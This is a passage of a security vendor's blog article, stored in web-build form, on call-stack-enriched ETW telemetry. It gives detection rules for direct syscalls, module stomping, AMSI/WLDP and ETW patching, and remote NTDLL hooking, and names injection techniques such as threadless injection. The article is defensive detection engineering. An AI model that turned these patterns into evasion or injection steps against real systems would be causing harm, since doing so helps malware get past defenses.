8.12]\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"In addition to call stack information, our API events are also enriched with several \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml\",rel:\"nofollow\",children:\"behaviors\"}),\":\"]}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"API event\"}),(0,i.jsx)(e.th,{children:\"Description\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"cross-process\"})}),(0,i.jsx)(e.td,{children:\"The observed activity was between two processes.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"native_api\"})}),(0,i.jsx)(e.td,{children:\"A call was made directly to the undocumented Native API rather than the supported Win32 API.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"direct_syscall\"})}),(0,i.jsx)(e.td,{children:\"A syscall instruction originated outside of the Native API layer.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"proxy_call\"})}),(0,i.jsx)(e.td,{children:\"The call stack appears to show a proxied API call to masking the true caller.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"sensitive_api\"})}),(0,i.jsx)(e.td,{children:\"Executable non-image memory is unexpectedly calling a sensitive API.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"shellcode\"})}),(0,i.jsx)(e.td,{children:\"Suspicious executable non-image memory is calling a sensitive API.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"image-hooked\"})}),(0,i.jsx)(e.td,{children:\"An entry in the call stack appears to have been hooked.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"image_indirect_call\"})}),(0,i.jsx)(e.td,{children:\"An entry in the call stack was preceded by a call to a dynamically resolved function.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"image_rop\"})}),(0,i.jsx)(e.td,{children:\"An entry in the call stack was not preceded by a call instruction.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"image_rwx\"})}),(0,i.jsx)(e.td,{children:\"An entry in the call stack is writable.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"unbacked_rwx\"})}),(0,i.jsx)(e.td,{children:\"An entry in the call stack is non-image and writable.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"allocate_shellcode\"})}),(0,i.jsx)(e.td,{children:\"A region of non-image executable memory suspiciously allocated more executable memory.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"execute_fluctuation\"})}),(0,i.jsx)(e.td,{children:\"The PAGE_EXECUTE protection is unexpectedly fluctuating.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"write_fluctuation\"})}),(0,i.jsx)(e.td,{children:\"The PAGE_WRITE protection of executable memory is unexpectedly fluctuating.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"hook_api\"})}),(0,i.jsx)(e.td,{children:\"A change to the memory protection of a small executable image memory region was made.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"hollow_image\"})}),(0,i.jsx)(e.td,{children:\"A change to the memory protection of a large executable image memory region was made.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"hook_unbacked\"})}),(0,i.jsx)(e.td,{children:\"A change to the memory protection of a small executable non-image memory was made.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"hollow_unbacked\"})}),(0,i.jsx)(e.td,{children:\"A change to the memory protection of a large executable non-image memory was made.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"guarded_code\"})}),(0,i.jsx)(e.td,{children:\"Executable memory was unexpectedly marked as PAGE_GUARD.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"hidden_code\"})}),(0,i.jsx)(e.td,{children:\"Executable memory was unexpectedly marked as PAGE_NOACCESS.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"execute_shellcode\"})}),(0,i.jsx)(e.td,{children:\"A region of non-image executable memory was executed in an unexpected fashion.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"hardware_breakpoint_set\"})}),(0,i.jsx)(e.td,{children:\"A hardware breakpoint was potentially set.\"})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"new-rules\",children:\"New Rules\"}),`\n`,(0,i.jsx)(e.p,{children:\"In 8.11, Elastic Defend\\u2019s behavior protection comes with many new rules against various popular malware techniques, such as shellcode fluctuation, threadless injection, direct syscalls, indirect calls, and AMSI or ETW patching.\"}),`\n`,(0,i.jsx)(e.p,{children:\"These rules include:\"}),`\n`,(0,i.jsx)(e.h3,{id:\"windows-api-call-via-direct-syscall\",children:\"Windows API Call via Direct Syscall\"}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies the call of commonly abused Windows APIs to perform code injection and where the call stack is not starting with NTDLL:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`api where event.category == \"intrusion_detection\" and\n\n process.Ext.api.behaviors == \"direct_syscall\" and \n\n process.Ext.api.name : (\"VirtualAlloc*\", \"VirtualProtect*\", \n \"MapViewOfFile*\", \"WriteProcessMemory\")\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/doubling-down-etw-callstacks/image1.png\",alt:\"Windows API Call via Direct Syscall rule logic\",width:\"1440\",height:\"541\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"virtualprotect-via-random-indirect-syscall\",children:\"VirtualProtect via Random Indirect Syscall\"}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies calls to the VirtualProtect API and where the call stack is not originating from its equivalent NT syscall NtProtectVirtualMemory:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`api where \n\n process.Ext.api.name : \"VirtualProtect*\" and \n\n not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: (\"*ntdll.dll!NtProtectVirtualMemory*\", \"*ntdll.dll!ZwProtectVirtualMemory*\")) \n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/doubling-down-etw-callstacks/image5.png\",alt:\"VirtualProtect via Random Indirect Syscall rule match examples\",width:\"1440\",height:\"731\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"image-hollow-from-unbacked-memory\",children:\"Image Hollow from Unbacked Memory\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`api where process.Ext.api.behaviors == \"hollow_image\" and \n\n process.Ext.api.name : \"VirtualProtect*\" and \n\n process.Ext.api.summary : \"*.dll*\" and \n\n process.Ext.api.parameters.size \u003e= 10000 and process.executable != null and \n\n process.thread.Ext.call_stack_summary : \"*Unbacked*\"\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below example of matches on \",(0,i.jsx)(e.code,{children:\"wwanmm.dll\"}),\" module stomping to replace it\\u2019s memory content with a malicious payload:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/doubling-down-etw-callstacks/image2.png\",alt:\"Image Hollow from Unbacked Memory rule match examples\",width:\"1337\",height:\"703\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"amsi-and-wldp-memory-patching\",children:\"AMSI and WLDP Memory Patching\"}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies attempts to modify the permissions or write to Microsoft Antimalware Scan Interface or the Windows Lock Down Policy related DLLs from memory to modify its behavior for evading malicious content checks:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`api where\n\n (\n (process.Ext.api.name : \"VirtualProtect*\" and \n process.Ext.api.parameters.protection : \"*W*\") or\n\n process.Ext.api.name : \"WriteProcessMemory*\"\n ) and\n\n process.Ext.api.summary : (\"* amsi.dll*\", \"* mpoav.dll*\", \"* wldp.dll*\") \n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/doubling-down-etw-callstacks/image6.png\",alt:\"AMSI and WLDP Memory Patching rule match examples\",width:\"1276\",height:\"557\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"evasion-via-event-tracing-for-windows-patching\",children:\"Evasion via Event Tracing for Windows Patching\"}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies attempts to patch the Microsoft Event Tracing for Windows via memory modification:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`api where process.Ext.api.name : \"WriteProcessMemory*\" and \n\nprocess.Ext.api.summary : (\"*ntdll.dll!Etw*\", \"*ntdll.dll!NtTrace*\") and \n\nnot process.executable : (\"?:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\", \"\\\\\\\\Device\\\\\\\\HarddiskVolume*\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\")\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/doubling-down-etw-callstacks/image4.png\",alt:\"Evasion via Event Tracing for Windows Patching rule match examples\",width:\"1440\",height:\"618\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"windows-system-module-remote-hooking\",children:\"Windows System Module Remote Hooking\"}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies attempts to write to a remote process memory to modify NTDLL or Kernelbase modules as a preparation step for stealthy code injection:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`api where process.Ext.api.name : \"WriteProcessMemory\" and \n\nprocess.Ext.api.behaviors == \"cross-process\" and \n\nprocess.Ext.api.summary : (\"*ntdll.dll*\", \"*kernelbase.dll*\")\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below is an example of matches on \",(0,i.jsx)(e.a,{href:\"https://github.com/CCob/ThreadlessInject\",rel:\"nofollow\",children:\"ThreadLessInject\"}),\", a new process injection technique that involves hooking an export function from a remote process to gain shellcode execution (avoiding the creation of a remote thread):\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/doubling-down-etw-callstacks/image3.png\",alt:\"ThreadlessInject example detecting via the Windows System Module Remote Hooking rule\",width:\"1440\",height:\"238\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsx)(e.p,{children:\"Until Microsoft provides vendors with kernel callbacks for security-relevant syscalls, Threat-Intelligence ETW will remain the most robust visibility into in-memory threats on Windows. At Elastic, we\\u2019re committed to putting that visibility to work for customers and optionally directly into their hands without any hidden filtering assumptions.\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/release-notes.html\",rel:\"nofollow\",children:\"Stay tuned\"}),\" for the call stack features in upcoming releases of Elastic Security.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"resources\",children:\"Resources\"}),`\n`,(0,i.jsx)(e.h3,{id:\"rules-released-with-811\",children:\"Rules released with 8.11:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml\",rel:\"nofollow\",children:\"AMSI or WLDP Bypass via Memory Patching\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_call_stack_spoofing_via_synthetic_frames.toml\",rel:\"nofollow\",children:\"Call Stack Spoofing via Synthetic Frames\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_evasion_via_event_tracing_for_windows_patching.toml\",rel:\"nofollow\",children:\"Evasion via Event Tracing for Windows Patching\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_memory_protection_modification_of_an_unsigned_dll.toml\",rel:\"nofollow\",children:\"Memory Protection Modification of an Unsigned DLL\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_network_activity_from_a_stomped_module.toml\",rel:\"nofollow\",children:\"Network Activity from a Stomped Module\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_evasion_via_invalid_code_signature.toml\",rel:\"nofollow\",children:\"Potential Evasion via Invalid Code Signature\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_an_exception_handler.toml\",rel:\"nofollow\",children:\"Potential Injection via an Exception Handler\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_asynchronous_procedure_call.toml\",rel:\"nofollow\",children:\"Potential Injection via Asynchronous Procedure Call\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_thread_call_stack_spoofing.toml\",rel:\"nofollow\",children:\"Potential Thread Call Stack Spoofing\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml\",rel:\"nofollow\",children:\"Remote Process Injection via Mapping\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_manipulation_by_suspicious_process.toml\",rel:\"nofollow\",children:\"Remote Process Manipulation by Suspicious Process\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_thread_context_manipulation.toml\",rel:\"nofollow\",children:\"Remote Thread Context Manipulation\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_activity_from_a_control_panel_applet.toml\",rel:\"nofollow\",children:\"Suspicious Activity from a Control Panel Applet\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_api_call_from_a_script_interpreter.toml\",rel:\"nofollow\",children:\"Suspicious API Call from a Script Interpreter\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/persistence_suspicious_api_from_an_unsigned_service_dll.toml\",rel:\"nofollow\",children:\"Suspicious API from an Unsigned Service DLL\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_call_stack_trailing_bytes.toml\",rel:\"nofollow\",children:\"Suspicious Call Stack Trailing Bytes\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_heap_allocation.toml\",rel:\"nofollow\",children:\"Suspicious Executable Heap Allocation\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_memory_permission_modification.toml\",rel:\"nofollow\",children:\"Suspicious Executable Memory Permission Modification\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_protection_fluctuation.toml\",rel:\"nofollow\",children:\"Suspicious Memory Protection Fluctuation\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml\",rel:\"nofollow\",children:\"Suspicious Memory Write to a Remote Process\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_ntdll_memory_write.toml\",rel:\"nofollow\",children:\"Suspicious NTDLL Memory Write\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_null_terminated_call_stack.toml\",rel:\"nofollow\",children:\"Suspicious Null Terminated Call Stack\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_kernel32_memory_protection.toml\",rel:\"nofollow\",children:\"Suspicious Kernel32 Memory Protection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml\",rel:\"nofollow\",children:\"Suspicious Remote Memory Allocation\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_from_virtual_disk_or_usb.toml\",rel:\"nofollow\",children:\"Suspicious Windows API Call from Virtual Disk or USB\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_direct_syscall.toml\",rel:\"nofollow\",children:\"Suspicious Windows API Call via Direct Syscall\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_rop_gadgets.toml\",rel:\"nofollow\",children:\"Suspicious Windows API Call via ROP Gadgets\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_proxy_call.toml\",rel:\"nofollow\",children:\"Suspicious Windows API Proxy Call\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml\",rel:\"nofollow\",children:\"VirtualProtect API Call from an Unsigned DLL\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_call_via_nttestalert.toml\",rel:\"nofollow\",children:\"VirtualProtect Call via NtTestAlert\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_indirect_random_syscall.toml\",rel:\"nofollow\",children:\"VirtualProtect via Indirect Random Syscall\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_rop_gadgets.toml\",rel:\"nofollow\",children:\"VirtualProtect via ROP Gadgets\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_api_via_a_callback_function.toml\",rel:\"nofollow\",children:\"Windows API via a CallBack Function\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_system_module_remote_hooking.toml\",rel:\"nofollow\",children:\"Windows System Module Remote Hooking\"})}),`\n`]})]})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(d,t)})):d(t)}var k=y;return g(x);})();\n;return Component;"},"_id":"articles/doubling-down-etw-callstacks.mdx","_raw":{"sourceFilePath":"articles/doubling-down-etw-callstacks.mdx","sourceFileName":"doubling-down-etw-callstacks.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/doubling-down-etw-callstacks"},"type":"Article","imageUrl":"/assets/images/doubling-down-etw-callstacks/photo-edited-01.png","readingTime":"9 min read","series":"","url":"/doubling-down-etw-callstacks","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Implementation","href":"#implementation"},{"level":2,"title":"New Rules","href":"#new-rules"},{"level":3,"title":"Windows API Call via Direct Syscall","href":"#windows-api-call-via-direct-syscall"},{"level":3,"title":"VirtualProtect via Random Indirect Syscall","href":"#virtualprotect-via-random-indirect-syscall"},{"level":3,"title":"Image Hollow from Unbacked Memory","href":"#image-hollow-from-unbacked-memory"},{"level":3,"title":"AMSI and WLDP Memory Patching","href":"#amsi-and-wldp-memory-patching"},{"level":3,"title":"Evasion via Event Tracing for Windows Patching","href":"#evasion-via-event-tracing-for-windows-patching"},{"level":3,"title":"Windows System Module Remote Hooking","href":"#windows-system-module-remote-hooking"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Resources","href":"#resources"},{"level":3,"title":"Rules released with 8.11:","href":"#rules-released-with-811"}],"author":[{"title":"John Uhlmann","slug":"john-uhlmann","description":"Principal Security Research Engineer, Elastic","image":"john-uhlmann.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var o=Object.defineProperty;var h=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var j=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var p=(n,t)=\u003e()=\u003e(t||n((t={exports:{}}).exports,t),t.exports),f=(n,t)=\u003e{for(var e in t)o(n,e,{get:t[e],enumerable:!0})},c=(n,t,e,i)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of g(t))!x.call(n,a)\u0026\u0026a!==e\u0026\u0026o(n,a,{get:()=\u003et[a],enumerable:!(i=h(t,a))||i.enumerable});return n};var _=(n,t,e)=\u003e(e=n!=null?l(j(n)):{},c(t||!n||!n.__esModule?o(e,\"default\",{value:n,enumerable:!0}):e,n)),d=n=\u003ec(o({},\"__esModule\",{value:!0}),n);var m=p((F,s)=\u003e{s.exports=_jsx_runtime});var D={};f(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=_(m()),M={title:\"John Uhlmann\",description:\"Principal Security Research Engineer, Elastic\",slug:\"john-uhlmann\",image:\"john-uhlmann.jpg\"};function u(n){return(0,r.jsx)(r.Fragment,{})}function y(n={}){let{wrapper:t}=n.components||{};return t?(0,r.jsx)(t,Object.assign({},n,{children:(0,r.jsx)(u,n)})):u(n)}var C=y;return d(D);})();\n;return Component;"},"_id":"authors/john-uhlmann.mdx","_raw":{"sourceFilePath":"authors/john-uhlmann.mdx","sourceFileName":"john-uhlmann.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/john-uhlmann"},"type":"Author","imageUrl":"/assets/images/authors/john-uhlmann.jpg","url":"/authors/john-uhlmann"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Google Cloud for Cyber Data 